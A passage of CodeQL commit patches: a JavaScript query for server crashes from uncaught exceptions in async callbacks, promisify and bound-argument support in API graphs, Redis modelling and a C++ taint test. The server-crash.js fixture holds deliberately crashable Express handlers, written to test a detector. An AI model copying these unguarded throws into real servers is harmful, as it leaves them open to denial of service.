callback.flowsTo(getLastArgument()) and + callback.getParameter(0).getName() = ["e", "err", "error"] and + callback.getNumParameter() = 2 and + not exists(callback.getAReturn()) + } + + DataFlow::FunctionNode getCallback() { result = callback } +} + +/** + * Gets a function that is invoked by `asyncCallback` without any try-block wrapping, `asyncCallback` is in turn is called indirectly by `routeHandler`. + * + * If the result throws an excection, the server of `routeHandler` will crash. + */ +Function getAPotentialServerCrasher( + HTTP::RouteHandler routeHandler, DataFlow::FunctionNode asyncCallback +) { + exists(AsyncCall asyncCall | + // the route handler transitively calls an async function + asyncCall.getEnclosingFunction() = + getACallee*(routeHandler.(DataFlow::FunctionNode).getFunction()) and + asyncCallback = asyncCall.getCallback() and + // the async function transitively calls a function that may throw an exception out of the the async function + result = getAnUnguardedCallee*(asyncCallback.getFunction()) + ) +} + +/** + * Gets an AST node that is likely to throw an uncaught exception in `fun`. + */ +ExprOrStmt getALikelyExceptionThrower(Function fun) { + result.getContainer() = fun and + not exists([result.(Expr).getEnclosingStmt(), result.(Stmt)].getEnclosingTryCatchStmt()) and + (isLikelyToThrow(result.(Expr).flow()) or result instanceof ThrowStmt) +} + +from HTTP::RouteHandler routeHandler, DataFlow::FunctionNode asyncCallback, ExprOrStmt crasher +where crasher = getALikelyExceptionThrower(getAPotentialServerCrasher(routeHandler, asyncCallback)) +select crasher, "When an exception is thrown here and later exits $@, the server of $@ will crash.", + asyncCallback, "this asynchronous callback", routeHandler, "this route handler" diff --git a/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.expected b/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.expected new file mode 100644 index 00000000000..b4e8de623a6 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.expected @@ -0,0 +1,6 @@ +| server-crash.js:7:5:7:14 | throw err; | When an exception is thrown here and later exits $@, the server of $@ will crash. | server-crash.js:6:28:8:3 | (err, x ... OK\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | +| server-crash.js:11:3:11:11 | throw 42; | When an exception is thrown here and later exits $@, the server of $@ will crash. | server-crash.js:50:28:52:3 | (err, x ... ();\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | +| server-crash.js:16:7:16:16 | throw err; | When an exception is thrown here and later exits $@, the server of $@ will crash. | server-crash.js:15:30:17:5 | (err, x ... K\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | +| server-crash.js:28:5:28:14 | throw err; | When an exception is thrown here and later exits $@, the server of $@ will crash. | server-crash.js:27:28:29:3 | (err, x ... OK\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | +| server-crash.js:33:5:33:14 | throw err; | When an exception is thrown here and later exits $@, the server of $@ will crash. | server-crash.js:32:28:34:3 | (err, x ... OK\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | +| server-crash.js:41:5:41:48 | res.set ... header) | When an exception is thrown here and later exits $@, the server of $@ will crash. | server-crash.js:40:28:42:3 | (err, x ... OK\\n } | this asynchronous callback | server-crash.js:31:25:73:1 | (req, r ... });\\n} | this route handler | diff --git a/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.qlref b/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.qlref new file mode 100644 index 00000000000..294d08cdcbb --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.qlref @@ -0,0 +1 @@ +Security/CWE-730/ServerCrash.ql diff --git a/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js b/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js new file mode 100644 index 00000000000..96b5fc71187 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-730/server-crash.js @@ -0,0 +1,73 @@ +const express = require("express"); +const app = express(); +const fs = require("fs"); + +function indirection1() { + fs.readFile("/WHATEVER", (err, x) => { + throw err; // NOT OK + }); +} +function indirection2() { + throw 42; // NOT OK +} +function indirection3() { + try { + fs.readFile("/WHATEVER", (err, x) => { + throw err; // NOT OK + }); + } catch (e) {} +} +function indirection4() { + throw 42; // OK: guarded caller +} +function indirection5() { + indirection6(); +} +function indirection6() { + fs.readFile("/WHATEVER", (err, x) => { + throw err; // NOT OK + }); +} +app.get("/async-throw", (req, res) => { + fs.readFile("/WHATEVER", (err, x) => { + throw err; // NOT OK + }); + fs.readFile("/WHATEVER", (err, x) => { + try { + throw err; // OK: guarded throw + } catch (e) {} + }); + fs.readFile("/WHATEVER", (err, x) => { + res.setHeader("reflected", req.query.header); // NOT OK + }); + fs.readFile("/WHATEVER", (err, x) => { + try { + res.setHeader("reflected", req.query.header); // OK: guarded call + } catch (e) {} + }); + + indirection1(); + fs.readFile("/WHATEVER", (err, x) => { + indirection2(); + }); + + indirection3(); + try { + indirection4(); + } catch (e) {} + indirection5(); + + fs.readFile("/WHATEVER", (err, x) => { + req.query.foo; // OK + }); + fs.readFile("/WHATEVER", (err, x) => { + req.query.foo.toString(); // OK + }); + + fs.readFile("/WHATEVER", (err, x) => { + req.query.foo.bar; // NOT OK [INCONSISTENCY]: need to add property reads as sinks + }); + fs.readFile("/WHATEVER", (err, x) => { + res.setHeader("reflected", unknown); // OK + }); +}); From ee3ffa07007c4af820deeeb8a067f7012b23e84f Mon Sep 17 00:00:00 2001 From: madneal <neal1991@sina.com> Date: Mon, 11 Jan 2021 21:43:24 +0800 Subject: [PATCH 0498/1241] add extra clarifications in the comments --- docs/codeql/ql-language-reference/predicates.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/codeql/ql-language-reference/predicates.rst b/docs/codeql/ql-language-reference/predicates.rst index f769885482e..1850b0a1ee0 100644 --- a/docs/codeql/ql-language-reference/predicates.rst +++ b/docs/codeql/ql-language-reference/predicates.rst @@ -226,7 +226,7 @@ Here are a few examples of infinite predicates: Compilation errors: ERROR: "i" is not bound to a value. ERROR: "result" is not bound to a value. - ERROR: expression is not bound to a value. + ERROR: expression "i * 4" is not bound to a value. */ int multiplyBy4(int i) { result = i * 4 @@ -235,7 +235,7 @@ Here are a few examples of infinite predicates: /* Compilation errors: ERROR: "str" is not bound to a value. - ERROR: expression is not bound to a value. + ERROR: expression "str.length()" is not bound to a value. */ predicate shortString(string str) { str.length() < 10 From ecab17a6266f0fb965346b454ea544d1f1b2fbfa Mon Sep 17 00:00:00 2001 From: Max Schaefer <max-schaefer@github.com> Date: Mon, 23 Nov 2020 10:22:14 +0000 Subject: [PATCH 0499/1241] JavaScript: Teach API graphs to handle `promisify`. Following a suggestion by Asger, we track use nodes through calls to `promisify`. When we see a call to a promisified function, we introduce a new synthetic API-graph node representing the callback argument synthesised by the promisification, and track the result of the call to an `await` (or other promise resolution), which is then considered to be a use of the first parameter of the synthetic callback (the zeroth parameter being an error code, which we do not model yet). --- .../ql/src/semmle/javascript/ApiGraphs.qll | 61 ++++++++++++++++--- .../promisify/VerifyAssertions.expected | 0 .../ApiGraphs/promisify/VerifyAssertions.ql | 1 + .../ql/test/ApiGraphs/promisify/index.js | 28 +++++++++ .../ql/test/ApiGraphs/promisify/package.json | 6 ++ 5 files changed, 86 insertions(+), 10 deletions(-) create mode 100644 javascript/ql/test/ApiGraphs/promisify/VerifyAssertions.expected create mode 100644 javascript/ql/test/ApiGraphs/promisify/VerifyAssertions.ql create mode 100644 javascript/ql/test/ApiGraphs/promisify/index.js create mode 100644 javascript/ql/test/ApiGraphs/promisify/package.json diff --git a/javascript/ql/src/semmle/javascript/ApiGraphs.qll b/javascript/ql/src/semmle/javascript/ApiGraphs.qll index e3d627c3da7..216dcfb3f6d 100644 --- a/javascript/ql/src/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/src/semmle/javascript/ApiGraphs.qll @@ -206,7 +206,8 @@ module API { this = Impl::MkClassInstance(result) or this = Impl::MkUse(result) or this = Impl::MkDef(result) or - this = Impl::MkAsyncFuncResult(result) + this = Impl::MkAsyncFuncResult(result) or + this = Impl::MkSyntheticCallbackArg(_, result) } /** @@ -389,12 +390,16 @@ module API { MkCanonicalNameUse(CanonicalName n) { not n.isRoot() and isUsed(n) + } or + MkSyntheticCallbackArg(DataFlow::Node src, DataFlow::InvokeNode nd) { + trackUseNode(src, true).flowsTo(nd.getCalleeNode()) } class TDef = MkModuleDef or TNonModuleDef; class TNonModuleDef = - MkModuleExport or MkClassInstance or MkAsyncFuncResult or MkDef or MkCanonicalNameDef; + MkModuleExport or MkClassInstance or MkAsyncFuncResult or MkDef or MkCanonicalNameDef or + MkSyntheticCallbackArg; class TUse = MkModuleUse or MkModuleImport or MkUse or MkCanonicalNameUse; @@ -523,8 +528,8 @@ module API { * The receiver is considered to be argument -1. */ private predicate argumentPassing(TApiNode base, int i, DataFlow::Node arg) { - exists(DataFlow::SourceNode use, DataFlow::SourceNode pred | - use(base, use) and pred = trackUseNode(use) + exists(DataFlow::Node use, DataFlow::SourceNode pred | + use(base, use) and pred = trackUseNode(use, _) | arg = pred.getAnInvocation().getArgument(i) or @@ -609,6 +614,12 @@ module API { lbl = Label::instance() and ref = getANodeWithType(tn) ) + or + exists(DataFlow::InvokeNode call | + base = MkSyntheticCallbackArg(_, call) and + lbl = Label::parameter(1) and + ref = awaited(call) + ) ) } @@ -672,21 +683,34 @@ module API { ) } - private DataFlow::SourceNode trackUseNode(DataFlow::SourceNode nd, DataFlow::TypeTracker t) { + private DataFlow::SourceNode trackUseNode( + DataFlow::SourceNode nd, boolean promisified, DataFlow::TypeTracker t + ) { t.start() and use(_, nd) and - result = nd + result = nd and + promisified = false or - exists(DataFlow::TypeTracker t2 | result = trackUseNode(nd, t2).track(t2, t)) + exists(DataFlow::CallNode promisify | + promisify = API::moduleImport(["util", "bluebird"]).getMember("promisify").getACall() + | + trackUseNode(nd, false, t.continue()).flowsTo(promisify.getArgument(0)) and + promisified = true and + result = promisify + ) + or + exists(DataFlow::TypeTracker t2 | result = trackUseNode(nd, promisified, t2).track(t2, t)) + } + + private DataFlow::SourceNode trackUseNode(DataFlow::SourceNode nd, boolean promisified) { + result = trackUseNode(nd, promisified, DataFlow::TypeTracker::end()) } /** * Gets a node that is inter-procedurally reachable from `nd`, which is a use of some node. */ cached - DataFlow::SourceNode trackUseNode(DataFlow::SourceNode nd) { - result = trackUseNode(nd, DataFlow::TypeTracker::end()) - } + DataFlow::SourceNode trackUseNode(DataFlow::SourceNode nd) { result = trackUseNode(nd, false) } private DataFlow::SourceNode trackDefNode(DataFlow::Node nd, DataFlow::TypeBackTracker t) { t.start() and @@ -714,6 +738,17 @@ module API { result = trackDefNode(nd, DataFlow::TypeBackTracker::end()) } + private DataFlow::SourceNode awaited(DataFlow::InvokeNode call, DataFlow::TypeTracker t) { + t.startInPromise() and + exists(MkSyntheticCallbackArg(_, call)) + or + exists(DataFlow::TypeTracker t2 | result = awaited(call, t2).track(t2, t)) + } + + private DataFlow::Node awaited(DataFlow::InvokeNode call) { + result = awaited(call, DataFlow::TypeTracker::end()) + } + private DataFlow::SourceNode getANodeWithType(TypeName tn) { exists(string moduleName, string typeName | tn.hasQualifiedName(moduleName, typeName) and @@ -774,6 +809,12 @@ module API { lbl = Label::return() and succ = MkAsyncFuncResult(f) ) + or + exists(DataFlow::SourceNode src, DataFlow::InvokeNode call | + use(pred, src) and + lbl = Label::parameter(call.getNumArgument()) and + succ = MkSyntheticCallbackArg(src, call) + ) } /** diff --git a/javascript/ql/test/ApiGraphs/promisify/VerifyAssertions.expected b/javascript/ql/test/ApiGraphs/promisify/VerifyAssertions.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/javascript/ql/test/ApiGraphs/promisify/VerifyAssertions.ql b/javascript/ql/test/ApiGraphs/promisify/VerifyAssertions.ql new file mode 100644 index 00000000000..b9c54e26072 --- /dev/null +++ b/javascript/ql/test/ApiGraphs/promisify/VerifyAssertions.ql @@ -0,0 +1 @@ +import ApiGraphs.VerifyAssertions diff --git a/javascript/ql/test/ApiGraphs/promisify/index.js b/javascript/ql/test/ApiGraphs/promisify/index.js new file mode 100644 index 00000000000..d4d095bae9b --- /dev/null +++ b/javascript/ql/test/ApiGraphs/promisify/index.js @@ -0,0 +1,28 @@ +var bluebird = require("bluebird"); +var readFile = require("fs").readFile; + +var readFileAsync = bluebird.promisify(readFile); + +readFile( + "tst.txt", // def (parameter 0 (member readFile (member exports (module fs)))) + "utf8", // def (parameter 1 (member readFile (member exports (module fs)))) + function ( + err, // use (parameter 0 (parameter 2 (member readFile (member exports (module fs))))) + contents // use (parameter 1 (parameter 2 (member readFile (member exports (module fs))))) + ) { }); + +readFileAsync( + "tst.txt" // def (parameter 0 (member readFile (member exports (module fs)))) +).then( + function (buf) { } // use (parameter 1 (parameter 1 (member readFile (member exports (module fs))))) +).catch( + function (err) { } // not yet modelled: (parameter 0 (parameter 1 (member readFile (member exports (module fs))))) +); + +try { + let p = readFileAsync( + "tst.txt", // def (parameter 0 (member readFile (member exports (module fs)))) + "utf8" // def (parameter 1 (member readFile (member exports (module fs)))) + ); + let data = await p; // use (parameter 1 (parameter 2 (member readFile (member exports (module fs))))) +} catch (e) { } // not yet modelled: (parameter 0 (parameter 2 (member readFile (member exports (module fs))))) diff --git a/javascript/ql/test/ApiGraphs/promisify/package.json b/javascript/ql/test/ApiGraphs/promisify/package.json new file mode 100644 index 00000000000..a94c8dc9a3d --- /dev/null +++ b/javascript/ql/test/ApiGraphs/promisify/package.json @@ -0,0 +1,6 @@ +{ + "name": "promisify-test", + "dependencies": { + "bluebird": "*" + } +} \ No newline at end of file From 3853da0969ab1ed754c4f2b4a4df5c15e36d6812 Mon Sep 17 00:00:00 2001 From: Max Schaefer <max-schaefer@github.com> Date: Mon, 23 Nov 2020 10:26:26 +0000 Subject: [PATCH 0500/1241] JavaScript: Teach API-graphs about bound arguments. --- .../ql/src/semmle/javascript/ApiGraphs.qll | 64 +++++++++++++------ .../bound-args/VerifyAssertions.expected | 0 .../ApiGraphs/bound-args/VerifyAssertions.ql | 1 + .../ql/test/ApiGraphs/bound-args/index.js | 24 +++++++ .../ql/test/ApiGraphs/bound-args/package.json | 6 ++ 5 files changed, 76 insertions(+), 19 deletions(-) create mode 100644 javascript/ql/test/ApiGraphs/bound-args/VerifyAssertions.expected create mode 100644 javascript/ql/test/ApiGraphs/bound-args/VerifyAssertions.ql create mode 100644 javascript/ql/test/ApiGraphs/bound-args/index.js create mode 100644 javascript/ql/test/ApiGraphs/bound-args/package.json diff --git a/javascript/ql/src/semmle/javascript/ApiGraphs.qll b/javascript/ql/src/semmle/javascript/ApiGraphs.qll index 216dcfb3f6d..d2c2d3d54b3 100644 --- a/javascript/ql/src/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/src/semmle/javascript/ApiGraphs.qll @@ -207,7 +207,7 @@ module API { this = Impl::MkUse(result) or this = Impl::MkDef(result) or this = Impl::MkAsyncFuncResult(result) or - this = Impl::MkSyntheticCallbackArg(_, result) + this = Impl::MkSyntheticCallbackArg(_, _, result) } /** @@ -391,8 +391,8 @@ module API { not n.isRoot() and isUsed(n) } or - MkSyntheticCallbackArg(DataFlow::Node src, DataFlow::InvokeNode nd) { - trackUseNode(src, true).flowsTo(nd.getCalleeNode()) + MkSyntheticCallbackArg(DataFlow::Node src, int bound, DataFlow::InvokeNode nd) { + trackUseNode(src, true, bound).flowsTo(nd.getCalleeNode()) } class TDef = MkModuleDef or TNonModuleDef; @@ -528,18 +528,20 @@ module API { * The receiver is considered to be argument -1. */ private predicate argumentPassing(TApiNode base, int i, DataFlow::Node arg) { - exists(DataFlow::Node use, DataFlow::SourceNode pred | - use(base, use) and pred = trackUseNode(use, _) + exists(DataFlow::Node use, DataFlow::SourceNode pred, int bound | + use(base, use) and pred = trackUseNode(use, _, bound) | - arg = pred.getAnInvocation().getArgument(i) + arg = pred.getAnInvocation().getArgument(i - bound) or arg = pred.getACall().getReceiver() and + bound = 0 and i = -1 or exists(DataFlow::PartialInvokeNode pin, DataFlow::Node callback | pred.flowsTo(callback) | - pin.isPartialArgument(callback, arg, i) + pin.isPartialArgument(callback, arg, i - bound) or arg = pin.getBoundReceiver(callback) and + bound = 0 and i = -1 ) ) @@ -616,7 +618,7 @@ module API { ) or exists(DataFlow::InvokeNode call | - base = MkSyntheticCallbackArg(_, call) and + base = MkSyntheticCallbackArg(_, _, call) and lbl = Label::parameter(1) and ref = awaited(call) ) @@ -683,34 +685,55 @@ module API { ) } + /** + * Gets a data-flow node to which `nd`, which is a use of an API-graph node, flows. + * + * The flow from `nd` to that node may be inter-procedural. If `promisified` is `true`, the + * flow goes through a promisification, and `boundArgs` indicates how many arguments have been + * bound throughout the flow. (To ensure termination, we somewhat arbitrarily constrain the + * number of bound arguments to be at most ten.) + */ private DataFlow::SourceNode trackUseNode( - DataFlow::SourceNode nd, boolean promisified, DataFlow::TypeTracker t + DataFlow::SourceNode nd, boolean promisified, int boundArgs, DataFlow::TypeTracker t ) { t.start() and use(_, nd) and result = nd and - promisified = false + promisified = false and + boundArgs = 0 or exists(DataFlow::CallNode promisify | promisify = API::moduleImport(["util", "bluebird"]).getMember("promisify").getACall() | - trackUseNode(nd, false, t.continue()).flowsTo(promisify.getArgument(0)) and + trackUseNode(nd, false, boundArgs, t.continue()).flowsTo(promisify.getArgument(0)) and promisified = true and result = promisify ) or - exists(DataFlow::TypeTracker t2 | result = trackUseNode(nd, promisified, t2).track(t2, t)) + exists(DataFlow::PartialInvokeNode pin, DataFlow::Node pred, int predBoundArgs | + trackUseNode(nd, promisified, predBoundArgs, t.continue()).flowsTo(pred) and + result = pin.getBoundFunction(pred, boundArgs - predBoundArgs) and + boundArgs <= 10 + ) + or + exists(DataFlow::TypeTracker t2 | + result = trackUseNode(nd, promisified, boundArgs, t2).track(t2, t) + ) } - private DataFlow::SourceNode trackUseNode(DataFlow::SourceNode nd, boolean promisified) { - result = trackUseNode(nd, promisified, DataFlow::TypeTracker::end()) + private DataFlow::SourceNode trackUseNode( + DataFlow::SourceNode nd, boolean promisified, int boundArgs + ) { + result = trackUseNode(nd, promisified, boundArgs, DataFlow::TypeTracker::end()) } /** * Gets a node that is inter-procedurally reachable from `nd`, which is a use of some node. */ cached - DataFlow::SourceNode trackUseNode(DataFlow::SourceNode nd) { result = trackUseNode(nd, false) } + DataFlow::SourceNode trackUseNode(DataFlow::SourceNode nd) { + result = trackUseNode(nd, false, 0) + } private DataFlow::SourceNode trackDefNode(DataFlow::Node nd, DataFlow::TypeBackTracker t) { t.start() and @@ -740,11 +763,14 @@ module API { private DataFlow::SourceNode awaited(DataFlow::InvokeNode call, DataFlow::TypeTracker t) { t.startInPromise() and - exists(MkSyntheticCallbackArg(_, call)) + exists(MkSyntheticCallbackArg(_, _, call)) or exists(DataFlow::TypeTracker t2 | result = awaited(call, t2).track(t2, t)) } + /** + * Gets a node holding the resolved value of promise `call`. + */ private DataFlow::Node awaited(DataFlow::InvokeNode call) { result = awaited(call, DataFlow::TypeTracker::end()) } @@ -810,10 +836,10 @@ module API { succ = MkAsyncFuncResult(f) ) or - exists(DataFlow::SourceNode src, DataFlow::InvokeNode call | + exists(DataFlow::SourceNode src, int bound, DataFlow::InvokeNode call | use(pred, src) and - lbl = Label::parameter(call.getNumArgument()) and - succ = MkSyntheticCallbackArg(src, call) + lbl = Label::parameter(bound + call.getNumArgument()) and + succ = MkSyntheticCallbackArg(src, bound, call) ) } diff --git a/javascript/ql/test/ApiGraphs/bound-args/VerifyAssertions.expected b/javascript/ql/test/ApiGraphs/bound-args/VerifyAssertions.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/javascript/ql/test/ApiGraphs/bound-args/VerifyAssertions.ql b/javascript/ql/test/ApiGraphs/bound-args/VerifyAssertions.ql new file mode 100644 index 00000000000..b9c54e26072 --- /dev/null +++ b/javascript/ql/test/ApiGraphs/bound-args/VerifyAssertions.ql @@ -0,0 +1 @@ +import ApiGraphs.VerifyAssertions diff --git a/javascript/ql/test/ApiGraphs/bound-args/index.js b/javascript/ql/test/ApiGraphs/bound-args/index.js new file mode 100644 index 00000000000..654f11976c5 --- /dev/null +++ b/javascript/ql/test/ApiGraphs/bound-args/index.js @@ -0,0 +1,24 @@ +import bar from 'foo'; + +let boundbar = bar.bind( + "receiver", // def (parameter -1 (member default (member exports (module foo)))) + "firstarg" // def (parameter 0 (member default (member exports (module foo)))) +); +boundbar( + "secondarg" // def (parameter 1 (member default (member exports (module foo)))) +) + +let boundbar2 = boundbar.bind( + "ignored", // !def (parameter -1 (member default (member exports (module foo)))) + "othersecondarg" // def (parameter 1 (member default (member exports (module foo)))) +) +boundbar2( + "thirdarg" // def (parameter 2 (member default (member exports (module foo)))) +) + +let bar2 = bar; +for (var i = 0; i < 2; ++i) + bar2 = bar2.bind( + null, + i /* def (parameter 1 (member default (member exports (module foo)))) */ /* def (parameter 9 (member default (member exports (module foo)))) */ + ); diff --git a/javascript/ql/test/ApiGraphs/bound-args/package.json b/javascript/ql/test/ApiGraphs/bound-args/package.json new file mode 100644 index 00000000000..40db36fb877 --- /dev/null +++ b/javascript/ql/test/ApiGraphs/bound-args/package.json @@ -0,0 +1,6 @@ +{ + "name": "bound-args", + "dependencies": { + "foo": "*" + } +} \ No newline at end of file From b3ab6efd1d418ea037a64ee229a0834cfcaadca7 Mon Sep 17 00:00:00 2001 From: Max Schaefer <max-schaefer@github.com> Date: Mon, 23 Nov 2020 10:27:29 +0000 Subject: [PATCH 0501/1241] JavaScript: Remove a bindingset annotation. --- javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll b/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll index 0002a057b8e..907711d4ed4 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll @@ -804,7 +804,6 @@ private module Redis { * For getter-like methods it is not generally possible to gain access "outside" of where you are supposed to have access, * it is at most possible to get a Redis call to return more results than expected (e.g. by adding more members to [`geohash`](https://redis.io/commands/geohash)). */ - bindingset[argIndex] predicate argumentIsAmbiguousKey(string method, int argIndex) { method = [ @@ -815,7 +814,8 @@ private module Redis { ] and argIndex = 0 or - method = ["bitop", "hmset", "mset", "msetnx", "geoadd"] and argIndex >= 0 + method = ["bitop", "hmset", "mset", "msetnx", "geoadd"] and + argIndex in [0 .. any(DataFlow::InvokeNode invk).getNumArgument() - 1] } } From 7a229d93815c2ce861f9ab25362649b24942a68f Mon Sep 17 00:00:00 2001 From: Max Schaefer <max-schaefer@github.com> Date: Mon, 23 Nov 2020 10:27:52 +0000 Subject: [PATCH 0502/1241] JavaScript: Simplify NoSQL framework modelling. --- .../semmle/javascript/frameworks/NoSQL.qll | 26 ++----------------- 1 file changed, 2 insertions(+), 24 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll b/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll index 907711d4ed4..48403735873 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/NoSQL.qll @@ -825,31 +825,9 @@ private module Redis { class RedisKeyArgument extends NoSQL::Query { RedisKeyArgument() { exists(string method, int argIndex | - QuerySignatures::argumentIsAmbiguousKey(method, argIndex) - | - this = - [promisify(redis().getMember(method)), redis().getMember(method)] - .getACall() - .getArgument(argIndex) - .asExpr() + QuerySignatures::argumentIsAmbiguousKey(method, argIndex) and + this = redis().getMember(method).getParameter(argIndex).getARhs().asExpr() ) } } - - /** - * Gets a promisified version of `method`. - */ - private API::Node promisify(API::Node method) { - exists(API::Node promisify | - promisify = API::moduleImport(["util", "bluebird"]).getMember("promisify").getReturn() and - method - .getAnImmediateUse() - .flowsTo(promisify.getAnImmediateUse().(DataFlow::CallNode).getArgument(0)) - | - result = promisify - or - result = promisify.getMember("bind").getReturn() and - result.getAnImmediateUse().(DataFlow::CallNode).getNumArgument() = 1 - ) - } } From c9132ca6f883ca59fcbf461ca6d44782ca918c07 Mon Sep 17 00:00:00 2001 From: Max Schaefer <max-schaefer@github.com> Date: Tue, 24 Nov 2020 15:13:04 +0000 Subject: [PATCH 0503/1241] JavaScript: Refactor `trackUseNode` to avoid bad join order. --- .../ql/src/semmle/javascript/ApiGraphs.qll | 20 +++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/ApiGraphs.qll b/javascript/ql/src/semmle/javascript/ApiGraphs.qll index d2c2d3d54b3..32bd30d30c6 100644 --- a/javascript/ql/src/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/src/semmle/javascript/ApiGraphs.qll @@ -716,11 +716,27 @@ module API { boundArgs <= 10 ) or - exists(DataFlow::TypeTracker t2 | - result = trackUseNode(nd, promisified, boundArgs, t2).track(t2, t) + exists(StepSummary summary | + t = useStep(nd, promisified, boundArgs, result, summary).append(summary) ) } + private import semmle.javascript.dataflow.internal.StepSummary + + /** + * Holds if `nd`, which is a use of an API-graph node, flows in zero or more potentially + * inter-procedural steps to some intermediate node, and then from that intermediate node to + * `res` in one step described by `summary`. + * + * This predicate exists solely to enforce a better join order in `trackUseNode` above. + */ + pragma[noinline] + private DataFlow::TypeTracker useStep( + DataFlow::Node nd, boolean promisified, int boundArgs, DataFlow::Node res, StepSummary summary + ) { + StepSummary::step(trackUseNode(nd, promisified, boundArgs, result), res, summary) + } + private DataFlow::SourceNode trackUseNode( DataFlow::SourceNode nd, boolean promisified, int boundArgs ) { From f40b406a2de47af56cb0602c43012744fbaa5588 Mon Sep 17 00:00:00 2001 From: Max Schaefer <max-schaefer@github.com> Date: Thu, 3 Dec 2020 10:21:21 +0000 Subject: [PATCH 0504/1241] JavaScript: Address review comments. --- javascript/ql/src/semmle/javascript/ApiGraphs.qll | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/ApiGraphs.qll b/javascript/ql/src/semmle/javascript/ApiGraphs.qll index 32bd30d30c6..5dc2eebcfb0 100644 --- a/javascript/ql/src/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/src/semmle/javascript/ApiGraphs.qll @@ -703,7 +703,7 @@ module API { boundArgs = 0 or exists(DataFlow::CallNode promisify | - promisify = API::moduleImport(["util", "bluebird"]).getMember("promisify").getACall() + promisify = DataFlow::moduleImport(["util", "bluebird"]).getAMemberCall("promisify") | trackUseNode(nd, false, boundArgs, t.continue()).flowsTo(promisify.getArgument(0)) and promisified = true and @@ -713,7 +713,7 @@ module API { exists(DataFlow::PartialInvokeNode pin, DataFlow::Node pred, int predBoundArgs | trackUseNode(nd, promisified, predBoundArgs, t.continue()).flowsTo(pred) and result = pin.getBoundFunction(pred, boundArgs - predBoundArgs) and - boundArgs <= 10 + boundArgs in [0 .. 10] ) or exists(StepSummary summary | @@ -779,7 +779,8 @@ module API { private DataFlow::SourceNode awaited(DataFlow::InvokeNode call, DataFlow::TypeTracker t) { t.startInPromise() and - exists(MkSyntheticCallbackArg(_, _, call)) + exists(MkSyntheticCallbackArg(_, _, call)) and + result = call or exists(DataFlow::TypeTracker t2 | result = awaited(call, t2).track(t2, t)) } From 1cde5e1828d0b7425f8f5bb6491818bd5206cf3c Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 11 Jan 2021 16:20:54 +0000 Subject: [PATCH 0505/1241] C++: Test of taint through ConstructorDelegationInit. --- .../taint-tests/constructor_delegation.cpp | 47 +++++++++++++++++++ .../dataflow/taint-tests/localTaint.expected | 22 +++++++++ 2 files changed, 69 insertions(+) create mode 100644 cpp/ql/test/library-tests/dataflow/taint-tests/constructor_delegation.cpp diff --git a/cpp/ql/test/library-tests/dataflow/taint-tests/constructor_delegation.cpp b/cpp/ql/test/library-tests/dataflow/taint-tests/constructor_delegation.cpp new file mode 100644 index 00000000000..3ee388347a6 --- /dev/null +++ b/cpp/ql/test/library-tests/dataflow/taint-tests/constructor_delegation.cpp @@ -0,0 +1,47 @@ + +int source(); +void sink(...); + +class MyValue +{ +public: + MyValue(int _x) : x(_x) {}; // taint flows directly from _x to x + MyValue(int _x, bool ex) : MyValue(_x) {}; // taint flows indirectly from _x to x + MyValue(int _x, int _y) : MyValue(_x + _y) {}; // taint flows indirectly from _x to x + MyValue(int _x, bool ex1, bool ex2) : MyValue(0) {}; // taint doesn't flow to _x + + int x; +}; + +class MyDerivedValue : public MyValue +{ +public: + MyDerivedValue(bool ex, int _x) : MyValue(_x) {}; // taint flows indirectly from _x to x +}; + +void test_inits() +{ + MyValue v1(0); + MyValue v2(source()); + MyValue v3(0, true); + MyValue v4(source(), true); + MyValue v5(0, 1); + MyValue v6(source(), 1); + MyValue v7(0, source()); + MyValue v8(0, true, true); + MyValue v9(source(), true, true); + MyDerivedValue v10(true, 0); + MyDerivedValue v11(true, source()); + + sink(v1.x); + sink(v2.x); // $ ast,ir + sink(v3.x); + sink(v4.x); // $ ir MISSING: ast + sink(v5.x); + sink(v6.x); // $ ir MISSING: ast + sink(v7.x); // $ ir MISSING: ast + sink(v8.x); + sink(v9.x); + sink(v10.x); + sink(v11.x); // $ ir MISSING: ast +} diff --git a/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected b/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected index 6edd97d0069..7b8d59fe3e7 100644 --- a/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected +++ b/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected @@ 